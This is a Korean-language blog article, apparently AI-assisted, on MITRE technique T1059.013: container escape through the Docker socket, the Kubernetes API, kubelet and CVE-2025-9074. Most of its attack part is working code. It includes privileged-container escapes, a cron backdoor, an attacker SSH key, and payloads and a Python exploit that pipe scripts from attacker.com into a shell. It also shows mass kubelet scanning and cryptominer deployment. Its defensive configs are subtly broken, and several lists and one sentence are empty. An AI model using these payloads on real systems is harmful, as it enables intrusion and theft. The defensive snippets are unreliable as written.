Docker/Kubernetes CLI 악용: 1개 APT가 컨테이너를 탈출하는 원리 | T1059.013
Docker 소켓에 접근하면 컨테이너를 탈출할 수 있다. Kubernetes API와 CVE-2025-9074를 악용한 실제 공격 사례와 방어법.
Docker 소켓에 접근하면 컨테이너를 탈출할 수 있다. Kubernetes API와 CVE-2025-9074를 악용한 실제 공격 사례와 방어법.
전 세계 개발자의 85% 이상이 컨테이너 기술을 사용하는 현재, 컨테이너 환경은 새로운 공격 표면이 되고 있다. T1059.013은 2025년 6월 MITRE ATT&CK에 추가된 최신 기법이다. 공격자가 컨테이너 CLI 도구나 API를 통해 악의적인 명령을 실행하는 방법을 분류한다.
이 기법은 단순한 명령 실행을 넘어서, 컨테이너 오케스트레이션 플랫폼의 구조적 특성을 악용한 정교한 공격 방식이다. Docker, Kubernetes, Podman 등 주요 컨테이너 플랫폼이 모두 공격 대상이 되며. 특히 클라우드 환경에서 치명적인 피해를 입힐 수 있다.
전통적인 서버 환경에서는 애플리케이션 배포와 관리가 복잡했다. 서버마다 다른 운영체제, 라이브러리 버전, 환경 설정으로 인해 "내 컴퓨터에서는 잘 되는데" 문제가 일상이었다. 개발팀은 수십 대의 서버에 일일이 SSH로 접속해서 명령을 실행해야 했고. 이는 비효율적이고 오류가 발생하기 쉬웠다.
컨테이너 기술은 이런 문제를 근본적으로 해결했다:
하지만 바로 이런 편의성이 공격자에게는 새로운 기회가 되었다. 하나의 명령어로 여러 시스템을 제어할 수 있다는 것은, 공격자도 하나의 취약점으로 여러 시스템을 장악할 수 있다는 뜻이기 때문이다.
T1059.013 Container CLI/API: Adversaries may abuse container CLI tools or APIs to execute malicious commands within containerized environments. — MITRE ATT&CK T1059.013
T1059.013은 공격자가 컨테이너화된 환경에서 내장된 CLI 도구나 API 호출을 남용하여 악의적인 명령을 실행하는 기법이다. 이는 단순한 명령 실행이 아니라, 컨테이너 오케스트레이션 시스템의 관리 인터페이스를 악용하는 것이다.
| 용어 | 설명 |
|---|---|
| Docker CLI | 역할: 컨테이너 관리 명령줄 도구 / 공격 활용 방식: docker exec로 컨테이너 내부 명령 실행 / 접근 방법: 로컬 소켓 또는 TCP 포트 |
| Kubernetes API | 역할: 클러스터 관리 REST API / 공격 활용 방식: Pod 생성/수정으로 악성 컨테이너 배포 / 접근 방법: API 서버 엔드포인트 |
| Container Runtime | 역할: 실제 컨테이너 실행 엔진 / 공격 활용 방식: 런타임 소켓을 통한 직접 제어 / 접근 방법: Unix 소켓 또는 gRPC |
| Docker Daemon | 역할: Docker 서비스 프로세스 / 공격 활용 방식: API를 통한 특권 명령 실행 / 접근 방법: /var/run/docker.sock |
| kubelet | 역할: Kubernetes 노드 에이전트 / 공격 활용 방식: 노드 레벨 컨테이너 관리 악용 / 접근 방법: 포트 10250 API |
단계별 공격 과정
1단계: 접근점 확보
공격자는 먼저 Docker 데몬에 접근할 수 있는 권한을 확보해야 한다. 가장 일반적인 방법들:
# 보호되지 않은 Docker 데몬 탐지
nmap -p 2375,2376 target-range
# Docker 소켓 권한 확인
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Jan 1 12:00 /var/run/docker.sock
2단계: 악성 컨테이너 실행
Docker CLI를 통해 특권 컨테이너를 생성한다:
# 호스트 파일시스템을 마운트한 특권 컨테이너 실행
docker run -it --privileged \
-v /:/host \
-v /var/run/docker.sock:/var/run/docker.sock \
ubuntu:latest /bin/bash
# 컨테이너 내부에서 호스트 시스템 접근
chroot /host
이 명령어가 위험한 이유:
--privileged: 컨테이너에 모든 시스템 권한 부여-v /:/host: 호스트의 루트 파일시스템을 컨테이너 내부로 마운트-v /var/run/docker.sock: Docker 소켓을 컨테이너와 공유3단계: 컨테이너 탈출과 지속성 확보
# 호스트 시스템의 cron에 백도어 등록
echo "* * * * * root /tmp/backdoor.sh" >> /host/etc/crontab
# SSH 키 추가로 지속적 접근 확보
mkdir -p /host/root/.ssh
echo "ssh-rsa AAAAB3N... attacker@evil.com" >> /host/root/.ssh/authorized_keys
Kubernetes API 악용 시나리오
시나리오 1: 악성 Pod 배포
공격자가 Kubernetes API에 접근할 수 있다면, 다음과 같은 악성 Pod를 배포할 수 있다:
apiVersion: v1
kind: Pod
metadata:
name: malicious-pod
spec:
hostNetwork: true # 호스트 네트워크 사용
hostPID: true # 호스트 프로세스 네임스페이스 공유
hostIPC: true # 호스트 IPC 네임스페이스 공유
containers:
- name: attacker
image: ubuntu:latest
command: ["/bin/bash"]
args: ["-c", "while true; do sleep 30; done"]
securityContext:
privileged: true # 특권 모드
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: / # 호스트 루트 디렉토리 마운트
시나리오 2: kubelet API 직접 공격
kubelet의 기본 포트(10250)가 노출되어 있다면:
# kubelet API를 통한 Pod 목록 조회
curl -k https://target:10250/pods
# 특정 Pod 내에서 명령 실행
curl -k -X POST "https://target:10250/exec/namespace/pod/container" \
-d "command=cat&command=/etc/passwd"
Docker API를 통한 컨테이너 생성 요청:
POST /v1.41/containers/create HTTP/1.1
Host: unix
Content-Type: application/json
{
"Image": "ubuntu:latest",
"Cmd": ["/bin/bash", "-c", "curl attacker.com/payload.sh | bash"],
"HostConfig": {
"Privileged": true,
"Binds": ["/:/host:rw"],
"NetworkMode": "host"
}
}
Kubernetes API를 통한 Pod 생성:
POST /api/v1/namespaces/default/pods HTTP/1.1
Host: kubernetes-api-server
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6...
Content-Type: application/json
{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"name": "backdoor-pod"
},
"spec": {
"containers": [{
"name": "backdoor",
"image": "attacker/malicious:latest",
"command": ["python3", "/app/backdoor.py"]
}]
}
}
로그 회피 기법:
# Docker 로그 비활성화하여 실행
docker run --log-driver=none -d malicious-image
# 임시 컨테이너로 실행 후 자동 삭제
docker run --rm -it ubuntu:latest /bin/bash
이미지 위장 기법:
# 정상적인 애플리케이션으로 위장
FROM nginx:alpine
COPY malicious-script.sh /docker-entrypoint.d/
RUN chmod +x /docker-entrypoint.d/malicious-script.sh
이런 방식으로 공격자는 정상적인 웹 서버 이미지로 위장하면서 백도어를 실행할 수 있다.
공격자들이 Container CLI/API를 선택하는 이유는 명확한다. 하나의 명령으로 수십, 수백 개의 시스템을 동시에 제어할 수 있기 때문이다. 전통적인 서버 환경에서는 각 서버마다 개별적으로 침투해야 했지만, 컨테이너 환경에서는 오케스트레이션 플랫폼을 장악하면 전체 인프라를 한 번에 통제할 수 있다.
특히 공격자들이 주목하는 구조적 약점들:
시나리오 1: 웹 애플리케이션을 통한 Docker 탈취
공격 단계:
/var/run/docker.sock 파일 권한 확인# 웹 서버에서 실행 (공격자가 RCE를 통해 실행)
docker run -it --rm --privileged \
-v /var/run/docker.sock:/var/run/docker.sock \
-v /:/host \
alpine:latest sh
# 컨테이너 내부에서 호스트 시스템 장악
chroot /host
cat /etc/shadow # 사용자 비밀번호 해시 탈취
시나리오 2: Kubernetes 클러스터 공격
TeamTNT의 실제 공격 패턴 (2023년 재등장):
# 1. kubelet API 스캔
nmap -p 10250 --script=kubelet-discovery target-range
# 2. 노출된 kubelet에서 정보 수집
curl -k https://target:10250/pods | jq '.items[].metadata.name'
# 3. 악성 컨테이너 배포
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: cryptominer
spec:
hostNetwork: true
containers:
- name: miner
image: teamtnt/cryptominer:latest
resources:
requests:
cpu: "0.1" # 탐지 회피를 위한 낮은 CPU 요청
limits:
cpu: "4" # 실제로는 최대 성능 사용
EOF
2025년 1월에 공개된 이 취약점은 T1059.013 기법의 심각성을 보여주는 실제 사례이다.
취약점 세부사항:
공격 코드 예시:
import requests
# Docker Desktop의 내부 API 엔드포인트
api_url = "http://192.168.65.7:2375"
# 인증 없이 컨테이너 생성
payload = {
"Image": "ubuntu:latest",
"Cmd": ["python3", "-c", "import os; os.system('curl attacker.com/backdoor.py | python3')"],
"HostConfig": {
"Privileged": True,
"Binds": ["C:\\:/host:rw"] # Windows 호스트 전체 마운트
}
}
response = requests.post(f"{api_url}/containers/create", json=payload)
container_id = response.json()["Id"]
# 컨테이너 시작
requests.post(f"{api_url}/containers/{container_id}/start")
Windows에서의 치명적 영향: 공격자는 이 취약점을 통해:
최근 공격 패턴 (2024년 하반기):
# 1. 보호되지 않은 Docker API 서버 탐지
shodan search "docker" port:2375
# 2. 서버 정보 수집
curl http://target:2375/version
curl http://target:2375/containers/json
# 3. 악성 컨테이너 배포
curl -X POST http://target:2375/containers/create \
-H "Content-Type: application/json" \
-d '{
"Image": "ubuntu:mantic-20240405",
"Cmd": ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash", "-c", "echo SGVsbG8gV29ybGQ= | base64 -d | bash"]
}'
이 공격에서 주목할 점:
2022년 통계: 약 25만 개의 Kubernetes 클러스터가 kubelet 포트 10250을 통해 공개 노출
공격자의 악용 방법:
# 대량 스캔
masscan -p10250 0.0.0.0/0 --rate=1000
# 각 클러스터에서 정보 수집
for ip in $(cat exposed_clusters.txt); do
curl -k https://$ip:10250/pods 2>/dev/null | \
jq -r '.items[]|select(.spec.containers[].image|test("crypto|mine"))|.metadata.name'
done
# 암호화폐 채굴 컨테이너 대량 배포
kubectl apply -f cryptominer-daemonset.yaml
Docker 보안 설정:
# Docker 데몬 보안 설정 (/etc/docker/daemon.json)
{
"hosts": ["unix:///var/run/docker.sock"], # TCP 포트 비활성화
"tls": true,
"tlscert": "/path/to/cert.pem",
"tlskey": "/path/to/key.pem",
"tlsverify": true,
"tlscacert": "/path/to/ca.pem"
}
# 불필요한 특권 제거
docker run --user 1000:1000 \ # 루트 사용자 금지
--read-only \ # 읽기 전용 파일시스템
--tmpfs /tmp \ # 임시 파일용 메모리 파일시스템
--cap-drop=ALL \ # 모든 capabilities 제거
--cap-add=NET_BIND_SERVICE \ # 필요한 권한만 추가
--security-opt=no-new-privileges # 새로운 권한 획득 금지
Kubernetes 보안 정책:
# Pod Security Policy 예시
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
privileged: false # 특권 컨테이너 금지
allowPrivilegeEscalation: false # 권한 상승 금지
hostNetwork: false # 호스트 네트워크 접근 금지
hostPID: false # 호스트 PID 네임스페이스 금지
hostIPC: false # 호스트 IPC 네임스페이스 금지
runAsUser:
rule: MustRunAsNonRoot # 루트 사용자 실행 금지
네트워크 보안:
T1059.013 Container CLI/API 기법은 현대 컨테이너 환경의 편의성을 역이용한 정교한 공격 방식이다. 컨테이너 오케스트레이션은 단일 명령으로 다수의 시스템을 제어할 수 있다. 한 번의 침투로 전체 인프라를 장악할 수 있는 치명적인 위험성이 있다.
공격자들은 Docker 소켓, Kubernetes API, kubelet 등 다양한 진입점을 통해 이 기법을 활용하며. 특히 와 같은 제로데이 취약점이나 잘못 구성된 API 노출을 적극적으로 악용한다. 방어를 위해서는 최소 권한 원칙, 네트워크 접근 제어, 보안 정책 적용이 중요하다.
컨테이너 보안은 단순히 이미지 스캔을 넘어서 런타임 보호와 오케스트레이션 레벨의 보안 설정이 핵심이다. 특히 T1562 방어 무력화 기법과 연계되어 EDR 우회에도 활용될 수 있어 더욱 주의가 필요하다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.